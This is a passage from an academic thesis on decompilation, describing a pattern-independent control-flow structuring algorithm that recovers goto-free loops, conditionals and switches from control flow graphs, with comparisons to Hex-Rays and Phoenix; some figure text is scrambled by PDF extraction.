patterns or region schemas that describe the shape of high-level control structures (e.g., while
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AST Node Description

Seq [ni]
i∈1..k Sequence of nodes [n1, . . . , nk] executed in order. Sequences can also be

represented as Seq [n1, . . . , nk].

Cond
[
c, nt, n f

] If construct with a condition c, a true branch nt and a false branch n f .
It may have only one branch.

Loop [τ, c, nb]
Loop of type τ ∈ {τwhile, τdowhile, τendless} with continuation condition
c and body nb.

Switch [v, C, nd]
Switch construct consisting of a variable v, a list of cases
C = [(V1, n1) , . . . , (Vk, nk)], and a default node nd. Each case (Vi, ni)
represents a node ni that is executed when v ∈ Vi

Table 3.1: AST nodes that represent high-level control constructs

loop, if-then-else construct). The algorithm iteratively visits all nodes of the CFG in post-

order and locally compares subgraphs to its predefined patterns. When a match is found, the

corresponding region is collapsed to one node of corresponding type. If no match is found,

goto statements are inserted to represent the control flow. In the literature, acyclic and cyclic

subgraphs for which no match is found are called proper and improper intervals, respectively.

For instance, Figure 3.4 shows the progression of structural analysis on a simple example from

left to right. In the initial (leftmost) graph nodes n1 and c2 match the shape of a while loop.

Therefore, the region is collapsed into one node that is labeled as a while region. The new

node is then reduced with node c1 into an if-then region and finally the resulting graph

is reduced to a sequence. This series of reductions are used to represent the control flow as

if (c1) {while (¬c2) {n1}} ; n2

3.2.2 Problem Definition

Given a program P in CFG form, the problem of control-flow structuring is to recover high-level,

structured control constructs such as loops, if-then and switch constructs from the graph

representation. An algorithm that solves the control-flow structuring problem is a program

transformation function fP that returns, for a program’s control flow graph PCFG, a semanti-

cally equivalent abstract syntax tree PAST. Whenever fP cannot find a high-level structured

control construct it will resort to using goto statements. In the context of this thesis, we de-

note code that does not use goto statements as structured code. The control-flow of P can be

represented in several ways, i.e., several correct ASTs may exist. In its general form structural
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analysis can and usually does contain goto statements to represent the control flow. Our goal

is to achieve fully structured code, i.e., code without any goto statement. For this, we restrict

the solution space to structured solutions. That is, all nodes n ∈ PAST representing control con-

structs must belong to the set of structured constructs shown in Table 3.1. The table does not

contain for loops since these are not needed at this stage of the process. for loops are recov-

ered during optimizations described in Chapter 4. We allow break statements to represent

early exits from loops. Differently from goto statements, break statements cause control to

be transferred to the loop successor and not to arbitrary locations in code.

3.2.3 Running Example

As an example illustrating a sample control flow graph and running throughout this chapter,

we consider the CFG shown in Figure 3.5. In this graph, code nodes are denoted by ni where

i is an integer. Code nodes are represented in white. Condition nodes are represented in

blue and labeled with the condition tested at that node. The example contains three regions

that we use to illustrate different parts of our structuring algorithm. R1 represents a loop that

contains a break statement resulting in an exit from the middle of the loop to the successor

node. R2 is a proper interval (also called abnormal selection path). In this region, the sub-

graph headed at b1 cannot be structured as an if-then-else region due to an abnormal exit

caused by the edge (b2, n6). Similarly, the subgraph with the head at b2 cannot be structured

as if-then-else region due to an abnormal entry caused by the edge (n4, n5). Due to this,

structural analysis represents at least one edge in this region as a goto statement. The third

region, R3, represents a loop with an unstructured condition, i.e., it cannot be structured by

structural analysis without goto statements. These three regions were chosen such that the

difficulty for traditional structuring algorithms increases from R1 to R3. The right hand side

of Figure 3.6 shows how the structuring algorithm of Hex-Rays structures this CFG. For com-

parison, the left hand side shows how our algorithm structure the CFG. As can be seen for the

three regions, the traditional approach produces goto statements and thus impacts readabil-

ity. Even in this toy example a non-negligible amount of work needs to be invested to extract

the semantics of region R3. In contrast, using our approach, the entire region is represented

by a single while loop with a single clear and understandable continuation condition.
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A
b1

c1

n1c2

n2n3

c3

b2n4

n5 n6

n7

d1

d2d3

n8
n9

R1

R2

R3

A
¬A

c1¬c1

¬c2 c2
c3

¬c3

b1¬b1

b2
¬b2

¬d1d1

¬d2

d2 ¬d3

d3

Figure 3.5: Running example. Sample CFG that contains three regions: a while loop with a
break statement (R1), a proper interval (R2), and a loop with unstructured condition (R3).

3.3 Approach Overview

At a high level, our approach comprises two phases: pattern-independent structuring, and

semantics-preserving transformations. The algorithm recovers control-flow abstractions and com-

putes the corresponding AST. Our control-flow structuring algorithm starts by performing a

depth-first traversal (DFS) over the CFG to find back edges which identify cyclic regions. Then,

it visits nodes in post-order and tries to structure the region headed by the visited node. Struc-

turing a region is done by computing the AST of control flow inside the region and then reduce

it into an abstract node. Post-order traversal guarantees that all descendants of a given node

n are handled before n is visited. When at node n, our algorithm proceeds as follows: if n is

the head of an acyclic region, we compute the set of nodes dominated by n and structure the

corresponding region if it has a single successor (§3.4.2). If n is the head of a cyclic region, we

compute loop nodes. If the corresponding region has multiple entry or successor nodes, we

transform it into a semantically equivalent graph with a single entry and a single successor
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i f (A)
do

while(c1)
n1

i f (c2)
n2
break

n3
while(c3)

e lse
i f (¬b1)

n4
i f (b1 ∧ b2)

n6
e lse

n5
n7
while((d1 ∧ d3) ∨ (¬d1 ∧ d2))

n8
n9

R1

R2

R3

i f (A)
while ( 1 )

while(c1)
n1

i f (c2)
break

n3
i f (¬c3)

goto LABEL_4
n2

e lse
i f (¬b1)

n4
goto LABEL_1

i f (¬b2)
LABEL_1 :

n5
goto LABEL_2

n6
LABEL_2 :

n7
while(d1)

i f (¬d3)
goto LABEL_4

LABEL_3 :
n8

i f ( d2 )
goto LABEL_3

LABEL_4 :
n9

R1

R2

R3

Figure 3.6: Decompiled code generated by Dream (left) and by Hex-Rays (right). The arrows
represent the jumps realized by goto statements.

(§3.5) and structure the resulting region (§3.4.3). The last iteration reduces the CFG to a single

node with the program’s AST.

Pattern-independent structuring. We use this approach to compute the AST of single-entry

and single-successor regions in the CFG. The entry node is denoted as the region’s header. Our

approach to structuring acyclic regions proceeds as follows: first, we compute the lexical order

in which code nodes should appear in the decompiled code. Then, for each node we compute

the condition that determines when the node is reached from the region’s header (§3.4.1), de-

noted by reaching condition. In the second phase, we iteratively group nodes based on their

reaching conditions and reachability relations into subsets that can be represented using if or
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switch constructs. In the case of cyclic regions, our algorithm first represents edges to the suc-

cessor node by break statements. It then computes the AST of the loop body (acyclic region).

In the third phase, the algorithm infers the loop type and condition by first assuming an end-

less loop and then reasoning about the whole structure. The intuition behind this approach

is that any loop can be represented as endless loop with additional break statements. For

example, starting from the following initial loop structure while (1) {if (¬c) {break;}body;},

we can refine this structure into a while loop while (c) {body;}.

Semantics-preserving transformations. We transform cyclic regions with multiple entries or

multiple successors into semantically equivalent single-entry single-successor regions. The key

idea is to compute the unique condition cond (n) based on which the region is entered at or

exited to a given node n, and then redirect corresponding edges into a unique header/succes-

sor where we add a series of checks that take control flow from the new header/successor to

n if cond (n) is satisfied.

3.4 Pattern-Independent Control-Flow Structuring

In this section we describe our pattern-independent structuring algorithm to compute the AST

of regions with a single entry (h) and single successor node, called region header and region

successor. The first step necessary is to find the condition that determines when each node is

reached from the header.

3.4.1 Reaching Condition

In this section, we discuss our algorithm to find the condition that takes the control flow from

a given starting node ns (also called source node) to a given end node ne (also called sink node)

in the CFG, denoted by reaching condition cr (ns, ne). This means that when at node ns, control

flow reaches ne if and only if the reaching condition cr (ns, ne) is true. This step is essential for

our pattern-independent structuring and guarantees the semantics-preserving property of our

transformations (§3.5).
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Algorithm 1 Graph Slice
Input: Graph G = (N, E, h); source node ns; sink node ne
Output: SG(ns, ne)

1: SG ← ∅
2: DfsStack← {ns}
3: while E has unexplored edges do
4: e← DfsNextEdge(G)
5: nt ← Target(e)
6: if nt is unvisited then
7: DfsStack.push(nt)
8: if nt = ne then
9: AddPath(SG, DfsStack)

10: else if nt ∈ SG ∧ nt /∈ DfsStack then
11: AddPath(SG, DfsStack)
12: RemoveVisitedNodes()

d1

d2d3

n9

¬d1d1

¬d2¬d3

Figure 3.7: SG (d1, n9) of the running example

Graph Slice

We introduce the concept of the graph slice to compute the reaching condition between two

nodes. We define the graph slice of graph G (N, E, nh) from a source node ns ∈ N to a sink

node ne ∈ N, denoted by SG (ns, ne), as the directed acyclic graph Gs (Ns, Es, ns), where Ns is

the set of nodes on simple paths from ns to ne in G and Es is the set of edges on simple paths

from ns to ne in G. A simple path in the graph G is a path which does not have repeating

vertices. We only consider simple paths since the existence of cycles on a path between two

nodes does not affect the condition based on which one is reached from the other. Intuitively,

we are only interested in the condition that causes control to leave the cycle and get closer to the

target node. A path p that includes a cycle can be decomposed into two disjoint components:

simple-path component ps and cycle component pc. The target node is reached if only ps is
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followed (cycle is not executed) or if ps and pc are traversed (cycle is executed). Therefore,

the condition represented by p is cond (p) = cond (ps) ∨ [cond (ps) ∧ cond (pc)]. The last

logical expression can be rewritten as cond (ps) ∧ [1∨ cond (pc)] which finally evaluates to

cond (ps).

Algorithm 1 computes the graph slice by performing depth-first traversal of the CFG start-

ing from the source node. The slice is augmented whenever the traversal discovers a new

simple path to the sink. The algorithm uses a stack data structure, denoted by dfsStack,

to represent the currently explored simple path from the header node to the currently visited

node. Nodes are pushed to dfsStack upon first-time visit (line 7) and popped when all their

descendants have been discovered (line 14). In each iteration of edge exploration, the current

path represented by dfsStack is added to the slice when traversal reaches the sink node

(line 9) or when it discovers a simple path to a slice node (line 12). The last step is justified

by the fact that any slice node n has a simple path to the sink node. The path represented

by dfsStack and the currently explored edge e is simple if the target node of e is not in

dfsStack.

We extend Algorithm 1 to calculate the graph slice from a given node to a set of sink

nodes. For this purpose, we first create a virtual sink node nv, add edges from the sink set to

nv, compute SG (ns, nv), and finally remove nv and its incoming edges. Figure 3.7 shows the

computed graph slice between nodes d1 and n9 in our running example. The slice shows that

n9 is reached from d1 if and only if the condition (d1 ∧ ¬d3) ∨ (¬d1 ∧ ¬d2) is satisfied.

Deriving and Simplifying Conditions

After having computed the slice SG (ns, ne), the reaching conditions for all slice nodes can be

computed by one traversal over the nodes in their topological order. This guarantees that all

predecessors of a node n are handled before n. To compute the reaching condition of node

n, we need the reaching conditions of its direct predecessors and the tags of incoming edges

from these nodes. Specifically, we compute the reaching conditions using the formula:

cr (ns, n) =
∨

v∈Preds(n)
(cr (ns, v) ∧ τ(v, n))
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where Preds (n) returns the immediate predecessors of node n and τ (v, n) is the tag assigned

to edge (v, n), which represents the logical predicate that must be satisfied so that control is

transferred along this edge. Then, we simplify the logical expressions.

3.4.2 Structuring Acyclic Regions

The key idea behind our algorithm is that any directed acyclic graph has at least one topologi-

cal ordering defined by its reverse postordering [30, p. 614]. That is, we can order its nodes lin-

early such that for any directed edge (u, v), u comes before v in the ordering. Our approach to

structuring acyclic region proceeds as follows. First, we compute reaching conditions from the

region header h to every node n in the region. Next, we construct the initial AST as sequence

of code nodes in topological order associated with corresponding reaching conditions, i.e., it

represents the control flow inside the region as if (cr (h, n1)) {n1} ; . . . ; if (cr (h, nk)) {nk}. Ob-

viously, the initial AST is not optimal. For example, nodes with complementary conditions are

represented as two if-then constructs if (c) {nt} if (¬c)
{

n f
}

and not as one if-then-else

construct if (c) {nt} else
{

n f
}

. Therefore, in the second phase, we iteratively refine the initial

AST to find a concise high-level representation of control flow inside the region.

Abstract Syntax Tree Refinement

We apply three refinement steps to AST sequence nodes. First, we check if there exist subsets

of nodes that can be represented using if-then-else. We denote this step by condition-

based refinement since it reasons about the logical expressions representing nodes’ reaching

conditions. Second, we search for nodes that can be represented by switch constructs. Here,

we also look at the checks (comparisons) represented by each logical variable. Hence, we

denote it by condition-aware refinement. Third, we additionally use the reachability relations

among nodes to represent them as cascading if-else constructs. The third step is called

reachability-based refinement.

At a high level, our refinement steps iterate over the children of each sequence node V and

choose a subset Vc ∈ V that satisfies a specific criterion. Then, we construct a new compound

AST node vc that represents control flow inside Vc and replaces it in a way that preserves

the topological order of V. That is, vc is placed after all nodes reaching it and before all
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nodes reached from it. Note that we define reachability between two AST nodes in terms of

corresponding basic blocks in the CFG, i.e., let u, v be two AST nodes, u reaches v if u contains

a basic block that reaches a basic block contained in v.

Condition-based Refinement. Here, we use the observation that nodes belonging to the true

branch of an if construct with condition c is executed (reached) if and only if c is satisfied.

That is, the reaching condition of corresponding node(s) is an AND expression of the form

c ∧ R. Similarly, nodes belonging to the false branch have reaching conditions of the form

¬c ∧ R. This refinement step chooses a condition c and divides children nodes into three

groups: true-branch candidates Vc, false-branch candidates V¬c, and remaining nodes. If the

true-branch and false-branch candidates contain more than two nodes, i.e., |Vc|+ |V¬c| ≥ 2,

we create a condition node vc for c with children {Vc, V¬c} whose conditions are replaced by

terms R. Obviously, the second term of logical AND expressions (c or ¬c) is implied by the

conditional node.

The conditions that we use in this refinement are chosen as follows: we first check for

pairs of code nodes
(
ni, nj

)
that satisfy cr (h, ni) = ¬cr

(
h, nj

)
and group according to cr (h, ni).

These conditions correspond to if-then-else constructs, and thus are given priority. When

no such pairs can be found, we traverse all nodes in topological order (including conditional

nodes) and check if nodes can be structured by the reaching condition of the currently visited

node. Intuitively, this traversal mimics the nesting order by visiting the topmost nodes first.

Clustering according to the corresponding conditions allows to structure inner nodes by re-

moving common factors from logical expressions. Therefore, we iteratively repeat this step on

all newly created sequence nodes to find further nodes with complementing conditions.

In our running example, when the algorithm structures the acyclic region headed at node

b1 (region R2), it computes the initial AST as shown in Figure 3.8. Condition nodes are rep-

resented by white nodes with up to two outgoing edges that represent when the condition is

satisfied (black arrowhead) or not (white arrowhead). Sequence nodes are depicted by blue

nodes. Their children are ordered from left to right in topological order. Leaf nodes (rectan-

gles) are the basic blocks. The algorithm performs a condition-based refinement wrt. condition

b1 ∧ b2 since nodes n5 and n6 have complementary conditions. This results in three clusters

Vb1∧b2 = {n6}, V¬(b1∧b2) = {n5}, and Vr = {n4} and leads to creating a condition node. At
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SEQ

n6

b1∧b2

n4

¬b1

n5

¬b1∨¬b2

n7

SEQ

n4

¬b1

b1∧b2

n5 n6

n7

SEQ

b1∧b2¬b1

n4 n5 n6

n7

Figure 3.8: Development of the initial AST when structuring the region R2 in the running
example. The initial AST (left) is refined by a condition-based refinement with respect to
condition b1 ∧ b2 (middle). Finally, a condition node is created for n4 (right).

this point, no further condition-based refinement is possible. Cifuentes proposed a method to

structure compound conditions by defining four patterns that describe the shape of subgraphs

resulting from short circuit evaluation of compound conditions [24]. Obviously, this method

fails if no match to these patterns is found.

Condition-aware Refinement. This step checks if the child nodes, or a subset of them, can

be structured as a switch construct. We apply this refinement when no further progress can

be made by condition-based refinement and the AST has sequence nodes with more than two

children. Here, we use the observation that in a switch construct with variable x, reaching

conditions of case nodes are comparisons of x with scalar constants. A given case node is

reached if x is equal to the case value or the preceding case node does not end with a break

statement. As a result, the reaching condition is an equality check x ?
= c where c is a scalar

constant or a logical OR expression of such checks. The reaching condition for the default case

node, if it exists, can additionally contain checks for x such as ≥ with constants.

Our approach is to first search for a switch candidate node whose reaching condition is a

comparison of a variable with a constant. We then cluster the remaining nodes in the sequence

based on the type of their reaching conditions into three groups: case candidates Vc, default

candidates Vd , and remaining items Vr. If at least two case nodes are found, i.e., |Vc|+ |Vd| ≥

3, we construct a switch node vs that replaces Vc ∪ Vd in the sequence. We compute the

values associated with each case and determine whether the case ends with a break statement

depending on the corresponding node’s reaching condition. For this purpose, we traverse case

candidate nodes in topological order which defines the lexical order of cases in the switch

construct. When at node n, we check if the reaching condition of a subsequent case node v is
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a logical OR expression of the form cr (h, v) = cr (h, n) ∨ Rn. This means that if n is reached,

then v is also reached and thus n does not end with a break statement. The set of values

associated to case node n is Vn \ Vp where Vn is the set of constants checked in the reaching

condition of node n and Vp is the set of values of previous cases.

Reachability-based Refinement. This is the last refinement that we apply when no further

condition-based and condition-aware refinements are possible. Intuitively, a set of nodes

N = {n1, . . . , nk} with nontrivial reaching conditions {c1, . . . , ck}, i.e. ∀i ∈ [1, k] : ci 6= true,

can be represented as cascading if-else constructs if the following conditions are satisfied:

First, there exists no path between any two nodes in N. Second, the OR expression of their

reaching conditions evaluates to true, i.e.,
∨

1≤i≤k ci = true. These nodes can be represented

as if (c1) {n1} . . . else if (ck−1) {nk−1} else {nk}. This eliminates the need to explicitly include

condition ck in the decompiled code as it is implied by the last else. The main idea is to group

nodes that satisfy these conditions and construct cascading condition nodes to represent them.

That is, for each node ni ∈ N, we construct a condition node with condition ci whose true

branch is node ni and the false branch is the next condition node for ci+1 (if i < k− 1) or nk (if

i = k− 1).

We iteratively process sequence nodes and construct clusters Nr that satisfy the above

conditions. In each iteration, we initialize Nr to contain the last sequence node with a nontrivial

reaching condition and traverse the remaining nodes backwards. A node u is added to Nr if

∀n ∈ Nr : u 9 n since the topological order implies that no node in Nr has a path to u (this

would cause this node to be before u in the order). We stop when the logical OR of reaching

conditions evaluates to true. Since nodes in Nr are unreachable from each other, any ordering

of them is a valid topological order. With the goal of producing well-readable code, we sort

nodes in Nr by increasing complexity of the logical expressions representing their reaching

conditions defined as the expression’s number of terms. Finally, we build the corresponding

cascading condition nodes.

3.4.3 Structuring Cyclic Regions

A loop is characterized by the existence of a back edge (nl , nh) from a latching node nl into

loop header node nh. With the aim of structuring cyclic regions in a pattern-independent way,
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we first compute the set of loop nodes, restructure the cyclic region into a single-entry single-

successor region if necessary, compute the AST of the loop body, and finally infer the loop type

and condition by reasoning about the computed AST. Our CFG traversal guarantees that we

handle inner loops before outer ones and thus we can assume that when structuring a cyclic

region it does not contain nested loops.

Initial Loop Nodes and Successors

We first determine the set of initial loop nodes Nloop, i.e., nodes located on a path from the

header node to a latching node. For this purpose, we compute the graph slice SG (nh, Nl)

where Nl is the set of latching nodes. This allows to compute loop nodes even if they are

not dominated by the header node in the presence of abnormal entries. Abnormal entries are

defined as ∃n ∈ Nloop\ {nh} : Preds (n) 6⊂ Nloop. If the cyclic region has abnormal entries,

we transform it into a single-entry region (§3.5.1). We then identify the set of initial exit nodes

Nsucc, i.e., targets of outgoing edges from loop nodes not contained in Nloop. These sets are

denoted as initial because they are refined by the next step to the final sets.

Successor Refinement and Loop Membership

In order to compute the final sets of loop nodes and successor nodes, we perform a successor

node refinement step. The idea is that certain initial successor nodes can be considered as loop

nodes, and thus we can avoid prematurely considering them as final successor nodes and avoid

unnecessary restructuring. For example, a while loop containing break statements proceeded

by some code results in multiple exits from the loop that converge to the unique loop successor.

This step provides a precise loop membership definition that avoids prematurely analyzing the

loop type and identifying the successor node based on initial loop nodes which may lead

to suboptimal structuring. Algorithm 2 provides an overview of the successor refinement

step. The algorithm iteratively extends the current set of loop nodes by looking for successor

nodes that have all their immediate predecessors in the loop and are dominated by the header

node. When a successor node is identified as loop node, its immediate successors that are not

currently loop nodes are added to the set of successor nodes. The algorithm stops when the set

of successor nodes contains at most one node, i.e., the final unique loop successor is identified,
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or when the previous iteration did not find new successor nodes. If the loop still has multiple

successors after refinement, we select from them the successor of the loop node with smallest

post-order as the loop final successor. The remaining successors are classified as abnormal

exit nodes. We then transform the region into a single-successor region as will be described in

Section 3.5.2. For instance, when structuring region R1 in our running example (Figure 3.5), the

algorithm identifies the following initial loop and successor nodes Nloop = {c1, n1, c2, n3, c3},

Nsucc = {n2, n9}. Next, node n2 is added to the set of loop nodes since all its predecessors are

loop nodes. This results in a unique loop node and the final sets Nloop = {c1, n1, c2, n3, c3, n2},

Nsucc = {n9}.

Algorithm 2 Loop Successor Refinement
Input: Initial sets of loop nodes Nloop and successor nodes Nsucc; loop header nh
Output: Refined Nloop and Nsucc

1: Nnew ← Nsucc
2: while |Nsucc| > 1∧ Nnew 6= ∅ do
3: Nnew ← ∅
4: for all n ∈ Nsucc do
5: if Preds(n) ⊆ Nloop then
6: Nloop ← Nloop ∪ {n}
7: Nsucc ← Nsucc \ {n}
8: Nnew ← Nnew ∪

{
u : u ∈

[
Succs(n) \ Nloop

]
∧Dom(nh, u)

}
9: Nsucc ← Nsucc ∪ Nnew

Phoenix [76] employs a similar approach to define loop membership. The key difference to

our approach is that Phoenix assumes that the loop successor is either the immediate successor

of the header or latching node. For example, in case of endless loops with multiple break

statements or loops with unstructured continuation condition (e.g., region R3), the simple

assumption that the loop successor is directly reached from loop header or latching nodes fails.

In these cases Phoenix generates an endless loop and represents exits using goto statements.

In contrast, our successor refinement technique described above does not suffer from this

problem and generates structured code without needing to use goto statements.

Loop Type and Condition

In order to identify loop type and condition, we first represent each edge to the successor node

as a break statement and compute the AST of the loop body after refinement nb. Note that
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n` = Loop
[
τendless,−, Seq [ni]

i∈1..k
]

n1 = Bc
r

n` ; Loop
[
τwhile,¬c, Seq [ni]

i∈2..k
] While

n` = Loop
[
τendless,−, Seq [ni]

i∈1..k
]

nk = Bc
r

n` ; Loop
[
τdowhile,¬c, Seq [ni]

i∈1..k−1
] DoWhile

n` = Loop
[
τendless,−, Seq [ni]

i∈1..k
]
∀i ∈ 1..k− 1 : Br /∈ ∑ [ni] nk = Cond [c, nt,−]

n` ; Loop

[
τendless,−, Seq

[
Loop

[
τdowhile,¬c, Seq [ni]

i∈1..k−1
]

, nt

]] NestedDoWhile

n` = Loop
[
τendless,−, Seq [ni]

i∈1..k
]

nk = ńk ⇓ Br

n` ; Seq
[
n1, . . . , nk−1, ńk

] LoopToSeq

n` = Loop
[
τendless,−, Cond

[
c, nt, n f

] ]
Br /∈ ∑ [nt] Br ∈ ∑

[
n f

]
n` ; Loop

[
τendless,−, Seq

[
Loop [τwhile, c, nt] , n f

]] CondToSeq

n` = Loop
[
τendless,−, Cond

[
c, nt, n f

] ]
Br ∈ ∑ [nt] Br /∈ ∑

[
n f

]
n` ; Loop

[
τendless,−, Seq

[
Loop

[
τwhile,¬c, n f

]
, nt
]] CondToSeqNeg

Figure 3.9: Loop structuring rules. The input to the rules is a loop node n`.

the loop body is an acyclic region that we structure as explained in §3.4.2. Next, we represent

the loop as endless loop with the computed body’s AST, i.e., n` = Loop [τendless,−, nb]. Our

assumption is justified since all exits from the loop are represented by break statements.

Finally, we infer the loop type and continuation condition by reasoning about the structure of

loop n`.

Inference rules. We specify loop structuring rules as inference rules of the form:

P1 P2 . . . Pn

C

The top of the inference rule bar contains the premises P1, P2, . . . , Pn. If all premises are

satisfied, then we can conclude the statement below the bar C. Figure 3.9 presents our loop

structuring rules. The first premise in our rules describes the input loop structure, i.e., loop

type and body structure. The remaining premises describe additional properties of loop body.

The conclusion is described as a transformation rule of the form n ; ń. Inference rules provide a
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while (1)
if (c1)

n1
else

. . .
if (¬c3)

break

CondToSeq→

while (1)
while (c1)

n1
. . .
if (¬c3)

break

DoWhile→

do
while (c1)

n1
. . .

while (c3)

Figure 3.10: Example of loop type inference of region R1.

formal compact notation for single-step inference and implicitly specify an inference algorithm

by recursively applying rules on premises until a fixed point is reached. We denote by Br a

break statement, and by Bc
r a condition node that represents the statement if (c) {break}, i.e.,

Bc
r = Cond [c, Seq [Br] ,−]. We represent by n ⇓ Br the fact that a break statement is attached

to each exit from the control construct represented by node n. The operator ∑ returns the list

of statements in a given node.

In our running example, computing the initial loop structure for region R1 results in the

first (leftmost) code in Figure 3.10. The loop body consists of an if statement with break

statements only in its false branch. This matches the CondToSeq rule, which transforms the

loop body into a sequence of a while loop and the false branch of the if statement. The rule

states that in this case the true branch of the if statement (n1) is continuously executed as long

as the condition c1 is satisfied. Then, control flows to the false branch. This is repeated until

the execution reaches a break statement. The resulting loop body is a sequence that ends with

a conditional break B¬c3
r that matches the DoWhile rule. The second transformation results in

the third (rightmost) loop structure. At this point the inference algorithm reaches a fixed point

and terminates.

To give an intuition of the unstructured code produced by structural analysis when a region

in the CFG does not match its predefined region schemas, we consider the region R3 in our

running example. Computing the body’s AST of the loop in region R3 and assuming an endless

loop results in the loop represented as while (1) {if ((¬d1 ∧ ¬d2) ∨ (d1 ∧ ¬d3)) {break;} . . .}. The

loop’s body starts with a conditional break and hence is structured according to the While rule

into while ((d1 ∧ d3) ∨ (¬d1 ∧ d2)) {. . .}. We wrote a small function that produces the same CFG

as the region R3 and decompiled it with Dream and Hex-Rays. Figure 3.12 shows that our

approach correctly found the loop type and continuation condition. In comparison, Hex-Rays
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1 signed int __cdecl loop(signed int a1)
2 {
3 signed int v2; // [sp+1Ch] [bp-Ch]@1
4

5 v2 = 0;
6 while ( a1 > 1 ){
7 if ( v2 > 10 )
8 goto LABEL_7;
9 LABEL_6:

10 printf("inside_loop");
11 ++v2;
12 --a1;
13 }
14 if ( v2 <= 100 )
15 goto LABEL_6;
16 LABEL_7:
17 printf("loop_terminated");
18 return v2;
19 }

Figure 3.11: Decompiled code generated by Hex-Rays.

1 int loop(int a){
2 int b = 0;
3 while((a <= 1 && b <= 100)||(a > 1 && b <= 10)){
4 printf("inside_loop");
5 ++b;
6 --a;
7 }
8 printf("loop_terminated");
9 return b;

10 }

Figure 3.12: Decompiled code generated by Dream.

produced unstructured code with two goto statements as shown in Figure 3.11; one goto

statement jumps outside the loop and the other one jumps back in the loop.

3.4.4 Side Effects

Our structuring algorithm may result in the same condition appearing multiple times in the

computed AST. For example, structuring region R2 in the running example leads to the AST

shown in Figure 3.8 where condition b1 is tested twice. If the variables tested by condition

b1 are modified in block n4, the second check of b1 in the AST would not be the same as the

first check. As a result, the code represented by the computed AST would not be semantically

equivalent to the CFG representation.
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1 int foo(){
2 ...
3 p = &v
4 ...
5 use1(v)
6 ...
7 *p = ...
8 ...
9 use2(v)

10 ...
11 }

Figure 3.13: Aliasing example

To guarantee the semantics-preserving property of our algorithm, we first check if any

condition is used multiple times in the computed AST. If this is the case, we check if any of the

variables used in the test may be changed on an execution path between any two uses. This

includes if the variable is assigned a new value, used in a call expression, or used in reference

expression (its address is read in an expression such as p = &v). We do not limit the last

check to a path between the uses. That is, we check if anywhere in the function the variable

is involved in a reference expression. This is necessary to handle cases where the address of

a variable taken before the uses and then its value is changed using the resulting pointer as

illustrated by the example shown in Figure 3.13. If a possible change is detected, we insert a

Boolean variable to store the initial value of the condition. All subsequent uses of the condition

are replaced by the inserted Boolean variable.

3.4.5 Summary

In this section, we have discussed our approach to creating an AST for single-entry and single-

successor CFG regions. The above algorithm can structure every CFG except cyclic regions

with multiple entries and/or multiple successors. The following section discusses how we

handle these problematic regions.

3.5 Semantics-Preserving Control-Flow Transformations

In this section, we describe our method to transform cyclic regions into semantically equivalent

single-entry single-successor regions. As the only type of regions that cannot be structured
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by our pattern-independent structuring algorithm are cyclic regions with multiple entries or

multiple successors, we apply the proposed transformations on those regions. An important

feature of these transformations is that they do not involve code duplication. This avoid

increasing the size of decompiled output and making it harder to understand. Based on the

previous steps we know the following information about the cyclic region: a) region nodes

Nloop, b) normal entry nh, and c) successor node ns.

3.5.1 Restructuring Abnormal Entries

The high-level approach to structuring abnormal entries (cf. 3.4.3) is illustrated in Figure 3.14.

The underlying idea is to insert a structuring variable (i in Figure 3.14) that takes different

values based on the node at which the loop is entered. We then redirect all loop entries

to a new header node (c0) where we insert cascading condition nodes that test equality of

the structuring variable to the values representing the different entries. Each condition node

transfers control to the corresponding entry node if the check is satisfied and to the next check

(or the last entry node) otherwise. All incoming edges to the original header n0 are directed to

the new header c0. We preserve semantics by inserting assignments of zero to the structuring

variable at the end of each abnormal entry so that the next loop iteration is executed normally.

For each loop node n ∈ Nloop with incoming edges from outside the loop, we first compute

the set of corresponding abnormal entries En =
{
(p, n) ∈ E : p /∈ Nloop

}
. Then, we create a

new code node consisting of assignment of the structuring variable to a unique value and

redirect edges in En into the newly created node. Finally, we add an edge from the new code

node to the new loop header. We represent the normal entry to the loop by assigning zero to

the structuring variable. In order to produce well-readable decompiled code, we strive to keep

the changes caused by our transformations minimal. For this reason, the first check we make at

the new loop header is whether the loop is entered normally. In this case, we transfer control to

the original header. This has the advantage of preserving loop type and minimally modifying

the original condition. For example, restructuring a while loop while (c) {. . .} with abnormal

entries results in a while loop whose condition contains an additional term representing the

abnormal entries while (c ∨ i 6= 0) {. . .}.
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Figure 3.14: Transforming abnormal entries: multi-entry loops (left) are transformed into se-
mantically equivalent single-entry loops (right). Tags cn represent the logical predicates i = n.

3.5.2 Restructuring Abnormal Exits

The high-level approach to structuring abnormal exits (cf. 3.4.3) is illustrated in Figure 3.15.

Our approach computes for each exit the unique condition that causes the control-flow to

choose that exit and redirects all exit edges to a new successor node (the red edges in Fig-

ure 3.15). Here, we insert cascading condition nodes that successively check the exit conditions

and transfer control to the original exit if the corresponding condition is satisfied or to the next

check (or the last exit node) otherwise. As an example illustrating the fact that control flow

is preserved by our transformation, consider Figure 3.15 where control flow exits the original

loop through edge (n1, s1) (left graph). In the transformed CFG, the control flow follows the

redirected edge (n1, c1) where the condition c1 is checked. This condition distinguishes this

exit and only evaluates to true when the loop is exited though (n1, s1). As a result, control

flow then follows the true branch (c1, s1) leading to the same target as in the original CFG.

A more concrete example is provided in Section 3.6 provides a concrete example on the result

of applying this transformation to the case of overlapping loops. This transformation does

not change the internal loop structure and thus keep the loop exit condition intact. It merely

makes sure that the restructured loop has a single successor so that it can be structured as

discussed in Section 3.4.3. Note that the added conditions are computed inside the loop and
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Figure 3.15: Transforming abnormal exits: loops with multiple successors (left) are trans-
formed into semantically equivalent single-successor loops (right).

thus when evaluated after the loop, they correspond to the last loop iteration representing the

state that caused the loop to be exited along one of the exit edges.

Computing exit conditions. We restructure abnormal exits after restructuring abnormal en-

tries. Therefore, at this stage the loop successor is known and the loop has a unique entry node

dominating all loop nodes. We start by computing the set of edges that exit the cyclic region to

a node other than the successor node Eout =
{
(n, u) ∈ E : n ∈ Nloop ∧ u /∈ Nloop ∪ {ns}

}
. Then,

we compute nearest common dominator (NCD) for the set of source nodes for edges in Eout, de-

noted nncd. In a graph G (N, E), a node d ∈ N is the nearest common dominator of a set of nodes

U ⊆ N if d dominates all nodes of U and there exists no node d́ 6= d that dominates all nodes

of U and is strictly dominated by d. Since the loop header dominates all loop nodes (after

restructuring abnormal entries), the NCD of any subset of loop nodes is also a loop node.

The basic idea here is that any change in the control flow to a given exit does not happen

before nncd. Thus, we need to compute the set of reaching conditions starting from nncd, i.e.,

we compute reaching conditions cr (nncd, u) to the target nodes of edges in Eout.
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(a) Abnormal selection path (b) Loop with multiple exit points (c) Loop with multiple entry points

n1

n2

c1

c2

ns

(d) Overlapping loops
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(e) Parallel loops

